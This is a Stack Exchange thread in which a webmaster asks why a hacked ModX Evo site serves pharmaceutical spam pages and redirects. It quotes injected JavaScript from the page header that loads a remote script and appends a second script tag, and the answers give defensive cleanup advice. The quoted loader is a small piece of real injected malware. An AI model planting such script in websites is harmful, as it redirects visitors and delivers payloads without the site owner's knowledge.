Take the 2-minute tour ×
Webmasters Stack Exchange is a question and answer site for pro webmasters. It's 100% free, no registration required.

I have a site that appears and works fine.

However if you search for it in Google a whole lot of other links come up, eg:

mysite.com/kamagra-viagra.html

Clicking this I get redirected to the Kamagra site.

I have scanned my site for viruses and cant find anything.

I am using the ModX Evo CMS.

Can anyone suggest a particular file I should be looking for that causing this?

EDIT:

I have noticed some strange Javascript in my header:

<script type="text/javascript" src="http://www.mysite.com/home.html?getjs=metric.js"></script>
<script type="text/javascript">var j1s = document.createElement('script');j1s.type = 'text/javascript';j1s.src = 'http://www.mysite.com/home.html?getjs=metric.js?getjs=metric.js';var h1ead = document.getElementsByTagName('head')[0];h1ead.appendChild(j1s);</script>

This is not in my template file, but appears when the page is loaded. I suspect this is the issue.

share|improve this question
    
check your htaccess file on root it may injected with some codes. –  Jobin Jose Jan 29 at 5:07
    
Good idea would be to update to ModX revolution. You'll get a better CMS and likely lose the malicious code. –  Steve Feb 28 at 6:21
    
Are you using wordpress? –  vDog Mar 30 at 7:07
    
If you are using wordpress. It may be because of a plugin or the theme that you use. I had the same problem and I relaunched the website with new theme and tested plugins. It worked. –  Indrajith Indraprastham Mar 30 at 10:24
    
@MeltingDog: Did you fix the problem? was the given answer useful? If you found a solution, you can post it here to help somebody else –  PatomaS Mar 31 at 6:10

1 Answer 1

There are tons of possibilities. Your .htaccess file may be compromised and a redirect statement is being evaluated to send users away but that's a fairly blunt hack and easily found and fixed.

More likely is one or more of your CMS core files has had obfuscated code injected and that code runs on each access to both produce spam links for Googlebot consumption and also injects a JavaScript to send users away. The trick here is figuring out which file has been altered and how the attackers gained access and that process can be very difficult for non-security trained people to do.

Also a possibility is that the database containing the site content has been compromised and malicious codes injected there. This can be fatal to a site if you don't have proper safe backups of your content.

In any event, there are two basic questions that arise from a careful reading of the above scenarios:

  1. How did they get in?
  2. What did they change?

With the obvious follow-up being "How do I fix it?"

Unless you have a lot of experience diagnosing and fixing security problems, you may want to leave this to a professional. There are consultants who will do this as well as subscription-based services such as Stop The Hacker or Sucuri.

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.